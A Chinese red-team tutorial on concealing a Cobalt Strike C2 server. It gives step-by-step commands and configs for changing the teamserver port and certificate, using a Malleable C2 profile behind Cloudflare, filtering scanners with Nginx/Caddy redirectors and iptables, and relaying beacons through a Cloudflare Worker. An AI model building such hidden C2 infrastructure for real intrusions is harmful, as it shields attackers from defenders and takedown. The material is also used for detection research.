APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度

前言

这年头打个红队都不容易,想普普通通上个线,除了ByPassAV以外,还要应付各种流量审计和设备和威胁情报,一不留神VPS就被扒光了。最近也是一直在倒腾,看了很多文章,但没一个能完全满足要求,或者是按着指示走着走着发现掉坑里了,嗯。

本文将通过各种手段一步步将C2的痕迹从网络空间中抹除,并详细记录一下过程,确保人人都能学会。我也按照工作量的大小划分了几个档位,可以按需选取方案。


我的环境


  • CS 4.3

  • centos 7

  • nginx/1.20.1
  • caddy v2.4.6

开始之前,想说明的是基本方案和普通方案都是网上一抓一大把,基本也都能成功。这里只是整合,以及介绍一些坑点。不会过多介绍原理,感谢师傅们的文章。


更改端口与证书


更改端口

  1. vim your_cs_path/teamserver

拉到最后可以看到启动CS的命令,将这个命令的50050改掉,换成自己喜欢的端口:

  1. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=2333 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Duser.language=en -javaagent:hook.jar -classpath ./cobaltstrike.jar server.TeamServer $*


更改证书


【不推荐】使用keytool

修改CS文件夹中的cobaltstrike.store,输入如下命令后输入密码123456即可列出信息:

  1. keytool -list -v -keystore cobaltstrike.store

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图1

我们可以使用如下命令对该keystore进行修改:

  1. keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.cn -dname "CN=360, OU=360.cn, O=Sofaware,L=Somewhere,ST=Cyberspace, C=CN"

参数说明:

  • -keytool -keystore cobaltstrike.store -storepass 密码
  • -keypass 密码
  • -genkey -keyalg RSA
  • -alias google.com -dname CN=(名字与姓氏),
  • OU=(组织单位名称), O=(组织名称),
  • L=(城市或区域名称),
  • ST=(州或省份名称),
  • C=(单位的两字母国家代码)。

再次查看,能够发现特征已经被去除:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图2


【推荐】使用第三方提供的证书生成keystore

这个会在下面的几节中提到。

普通方案使用Profile与CDN


域名申请(购买)与配置

免费的域名可以去Freenom 要一个,也可以去Godaddy花十多块钱买一个。
有了域名后直接接入Cloudflare,需要说明的是freenom的域名有的时候不能被Cloudflare识别,出现如下报错:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图3
遇到这种情况可以多申请几个网站或者过一段时间再试试,反正也不花钱。
我遇到的情况是同一个免费域名,一开始接入Cloudflare的时候报如上错误,过了三天再尝试接入就成功了。
接入后更改NS,按照Cloudflare的指示将域名的NS设置成Cloudflare的即可,这里不再赘述。

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图4
接入后配置一个DNS的A记录,解析到VPS的IP,后续上线用:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图5


Profile

我们需要使用Profile让Beacon和Teamserver之间的交互看起来尽可能像正常的流量。Github上已经有非常多优秀的C2-Profile可以供我们使用了:

  1. https://github.com/rsmudge/Malleable-C2-Profiles
  2. https://github.com/threatexpress/malleable-c2

这里我使用的是后者jquery的profile。下载下来后需要根据我们的域名对Profile进行修改,以便能够上线HTTP/HTTPS BEACON。
需要修改的内容主要有四处,一个是https-certificate块中更改keystore和密码,keystore的生成马上讲:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图6
另外三个是http-stager、http-get、http-post块中的Host Header,Referer改不改可以随意。

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图7
火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图8
火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图9
保存修改,然后准备我们的keystore。因为接入了CDN,所以证书我推荐直接使用Cloudflare提供的证书。CDN的坑会在下面讲。当然要是没有接入CDN的打算,可以使用letsencrypt这样的免费证书:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图10
使用默认配置生成证书和秘钥后,复制粘贴到你的服务器上,这里我选择的文件名是server.pem和server.key:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图11
*这里cdn.xxx.club是我的域名openssl

  1. pkcs12 -export -in server.pem -inkey server.key -out cdn.xxx.club.p12 -name cdn.xxx.club -passout pass:123456
  2. keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cdn.xxx.club.store -srckeystore cdn.xxx.club.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cdn.xxx.club

在生成keystore文件后将该文件放在CS的根目录下,务必确保keystore文件名与密码和https-certificate中设置的一致。
在一切准备就绪后可以使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是ok的:

  1. ./c2lint jquery-c2.4.3.profile

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图12


CDN


CDN配置

Cloudflare默认的TLS配置为灵活,由于之前使用了Cloudflare给原服务器发的证书,我们可以改成完全(严格)提高安全性。:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图13


额外配置(坑)

其他的Profile我还没测试过,但是应该都是通用的。

禁用缓存

在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。我们可以使用开发模式并清除缓存,但是开发模式只有3小时:
火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图14
所以推荐的做法是创建Cloudflare规则,不代理js请求:
火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图15


Profile微调

据说在4.0版本的CS中,如果不调整Profile是可以上线,但是执行命令没有回显。而在4.3版本的CS中,不动Profile是直接上不了线。
我们需要更改Profile中的响应头配置。
原header:

  • “Content-Type” “application/javascript; charset=utf-8”;

修改为:

  • “Content-Type” “application/*; charset=utf-8”;

即可正常执行命令回显。这里还是CDN的问题,但它具体做了什么让我们上不了线就不知道了。


测试

启动teamserver,设置profile为我们修改好的profile:

  1. ./teamserver your_ip your_pass jquery-c2.4.3.profile

在确保域名解析正确的情况下,此时HTTPS BEACON已经可以上线了,我们需要对CS的listener进行配置。填入三次你的域名,其他的默认就好:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图16
生成beacon测试,成功上线:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图17


补充

端口

有的师傅443端口是有用处的,需要改成其他的端口。这里需要注意的是免费版的Cloudflare对代理的端口有限制。我们只能成如下端口:

  • http:80、8080、8880、2052、2082、2086、2095
  • https:443、2053、2083、2087、2096、8443


    HTTP

    以上针对的是https的beacon,http的话在DNS中加一个二级域名并使用该二级域名上线即可。不用额外再弄一个profile,因为http的beacon只看域名。 在http的raw payload中我们可以验证这一点:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图18
对比https的raw payload,它用上了我们之前配置的所有内容:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图19


高级方案

反向代理与Cloudflare Workers

其实原本这一切就已经结束了。但是在我倒腾完的第n天早上收了一个邮件。大意是说我违反了政策,然后让我去主机管理面板看细节:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图20
细节的内容已经找不到了,但大体是说你的服务器与一个攻击行为有关。然后给我丢了一个shodan的链接。我点进去一看,好家伙,给我分析得明明白白,直接扒光了:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图21
我尝试理解了一下发生了什么,发现无法理解。(😂😂😂)
然后查了一下资料,具体就是CS的stage马上线时,默认会向一个符合checksum8规则的路径发起请求,随后服务器会响应各种Payload数据。
checksum8规则路径大概就长这样:

  • /x9cI//fYKR//Mrm0//wQPD//yDHX//BCre//WHVh/

然后,虽然我们在Profile中配置了URI,但是默认的URI并没有失效。该默认URI依旧可以执行下发任务,上线等一系列操作。我拿nmap脚本跑了一下,发现确实被扒光了:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图22
解决方案:

  • 用二进制手段对CS源码进行改造
  • 使用反向代理服务器禁用这个checksum8规则路径。

由于不会二进制,这里我选择第二种方案。


反向代理

反向代理选的套件看了看网上都是清一色的Nginx,不过这回为了兼容某些应用我使用了Caddy。
Caddy的好处是配置简单,不像Nginx的配置看起来头大。不过我同样对Nginx进行了测试,最后无论是Nginx还是Caddy都能成功上线。

Nginx

可以使用cs2modrewrite提供的脚本生成:

  1. python3 ./cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H cdn.xxxx.club

对各个参数进行说明,如下:

  • -i 为模板文件,这个固定的,可以不用管。
  • -c 为后端CS绑定的端口,这个会在后面CS的配置中有所体现
  • -r 为不合要求的访问302重定向去的位置,这里填了百度
  • -H 为你的域名,这里就是你配的那个

在配置完后,需要配置ssl证书:

  1. #####################
  2. # SSL Configuration
  3. #####################
  4. listen 443 ssl;
  5. listen [::]:443 ssl;
  6. ssl on;
  7. ssl_certificate /root/tool/CS/https/server.pem; # 改这个
  8. ssl_certificate_key /root/tool/CS/https/server.key; # 改这个
  9. ssl_session_cache shared:le_nginx_SSL:1m; # managed by Certbot
  10. ssl_session_timeout 1440m; # managed by Certbot
  11. ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # managed by Certbot
  12. ssl_prefer_server_ciphers on; # managed by Certbot

同时的话还可以定制化处理location块,使得只有指定URL才能访问,保证了不会被扫到。指定User-Agent可以确保的都是Beacon而不是其他的奇怪的东西,有点白名单的意思了:

  1. location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$
  2. {
  3. if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
  4. return 302 $REDIRECT_DOMAIN$request_uri;
  5. }
  6. proxy_pass $C2_SERVER;
  7. # If you want to pass the C2 server's "Server" header through then uncomment this line
  8. # proxy_pass_header Server;
  9. expires off;
  10. proxy_redirect off;
  11. proxy_set_header Host $host;
  12. proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  13. proxy_set_header X-Real-IP $remote_addr;
  14. }

这里还要注意的是这里的Nginx宜以root权限运行,默认生成的文件是www-data用户。使用该用户可能会有权限问题,这也是大多数人使用反向代理后https无法上线的原因。当然最重要的还是要学会看Nginx错误日志,至少能定位到问题在哪:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图23
当时我是报了一个(13: Permission denied) while reading upstream的错误,改成root运行Nginx后就好了,但现在重新用回www-data后也不报错了。推测是某些临时文件的属主变了吧。
该配置经过测试能够成功上线,CS配置如下:
火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图24


Caddy

caddy的配置就简单的多,这里直接贴配置文件。没有Caddy可以装一个:

  1. yum install caddy
  1. vim /etc/caddy/Caddyfile
  1. cdn.xxxx.club {
  2. tls /root/tool/CS/https/server.pem /root/tool/CS/https/server.key
  3. reverse_proxy /jquery-3.3* https://127.0.0.1:8443 {
  4. transport http {
  5. tls
  6. tls_insecure_skip_verify
  7. }
  8. }
  9. }


这里说明一下各个主要指令的作用:
  • **最外面的tls:启用tls连接,这里的tls连接是指下游连接,即和Cloudflare的CDN服务器的连接。证书和秘钥是Cloudflare给的那个。
  • reverse_proxy:反向代理。
  • 里面的tls:同样是使用tls连接。
  • tls_insecure_skip_verify:我们使用的生成keystore的证书同样是Cloudflare签发的那个,这里的tls连接是Caddy和CS服务器的连接,由于Cloudflare签发的证书是不受(除Cloudflare以外的机构)信任的,亦即该证书在Caddy看来是不受信任的,连接是不安全的。我们需要加上tls_insecure_skip_verify指定,否则Caddy将在握手阶段就终止该https连接。并报不受信任的证书错误。
    1. 2021/11/16 12:09:01.975 ERROR http.log.error x509: cannot validate certificate for 127.0.0.1 because it doesn't contain any IP SANs
    该配置经过测试能够成功上线。CS配置和nginx中所提到的相同。


    配置Iptables

    我们的listener监听的是0.0.0.0,我们应该配置成只能让反向代理套件访问。否则像shodan这样的搜索引擎或者我们自己拿nmap脚本去扫端口的话依旧能够分析出beacon信息。可以使用如下命令配置iptables,要是云厂商提供防火墙的话也可以在那边的防火墙进行配置。 ```shell iptables -A INPUT -s 127.0.0.1 -p tcp —dport 8443 -j ACCEPT iptables -A INPUT -p tcp —dport 8443 -j DROP

iptables -A INPUT -s 127.0.0.1 -p tcp —dport 8880 -j ACCEPT iptables -A INPUT -p tcp —dport 8880 -j DROP

  1. 现在再拿脚本进行测试的话,就发现扫不出任何东西了:<br />![](https://cdn.nlark.com/yuque/0/2021/webp/1632223/1640773475289-ce780a91-158e-43ea-ad5e-1af7c5383a47.webp#clientId=ufa542718-feb1-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u852e6da3&margin=%5Bobject%20Object%5D&originHeight=253&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u9704d41d-e6c4-427a-a81d-a698603017a&title=)
  2. <a name="p8g0k"></a>
  3. #### <br />Cloudflare Workers
  4. 这个有点类似域前置,但是有域前置还是用域前置的好。使用Cloudflare Workers可以隐藏我们的真实域名:
  5. ![](https://cdn.nlark.com/yuque/0/2021/webp/1632223/1640773500292-cbfde2b0-da01-4fae-905a-b08bc4de89de.webp#clientId=ufa542718-feb1-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u05ef3d20&margin=%5Bobject%20Object%5D&originHeight=413&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u20f3b9c2-41f1-43ab-be95-780096b62ef&title=)<br />申请好子域后创建服务:
  6. ![](https://cdn.nlark.com/yuque/0/2021/webp/1632223/1640773511454-3b4d1204-8d30-4a2e-aaa3-ca7d1eb8219d.webp#clientId=ufa542718-feb1-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u9af13880&margin=%5Bobject%20Object%5D&originHeight=328&originWidth=900&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=uc21ab968-c345-4b85-9b2a-2d5369ba5cf&title=)<br />创建好服务后点击快速编辑:
  7. ![](https://cdn.nlark.com/yuque/0/2021/webp/1632223/1640772536627-ff613c4d-fa26-4959-8fee-c5e1c4c644d2.webp#clientId=ufa542718-feb1-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u9197964d&margin=%5Bobject%20Object%5D&originHeight=562&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=udb08a382-566c-46ed-9566-d5ec757cef0&title=)
  8. 并粘贴如下脚本:
  9. ```shell
  10. let upstream = 'https://cdn.xxxx.club' # 这里写你的域名
  11. addEventListener('fetch', event => {
  12. event.respondWith(fetchAndApply(event.request));
  13. })
  14. async function fetchAndApply(request) {
  15. const ipAddress = request.headers.get('cf-connecting-ip') || '';
  16. let requestURL = new URL(request.url);
  17. let upstreamURL = new URL(upstream);
  18. requestURL.protocol = upstreamURL.protocol;
  19. requestURL.host = upstreamURL.host;
  20. requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
  21. let new_request_headers = new Headers(request.headers);
  22. new_request_headers.set("X-Forwarded-For", ipAddress);
  23. let fetchedResponse = await fetch(
  24. new Request(requestURL, {
  25. method: request.method,
  26. headers: new_request_headers,
  27. body: request.body
  28. })
  29. );
  30. let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
  31. modifiedResponseHeaders.delete('set-cookie');
  32. return new Response(
  33. fetchedResponse.body,
  34. {
  35. headers: modifiedResponseHeaders,
  36. status: fetchedResponse.status,
  37. statusText: fetchedResponse.statusText
  38. }
  39. );
  40. }

之后使用右侧的域名替换CS中https beacon的三个域名即可:

火线Zone-h1nt - APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度 - 图25
经过测试能够成功上线。


参考文献


Cobalt Strike去特征:配置Nginx反向代理、CDN与Cloudflare Worker

检测与隐藏Cobaltstrike服务器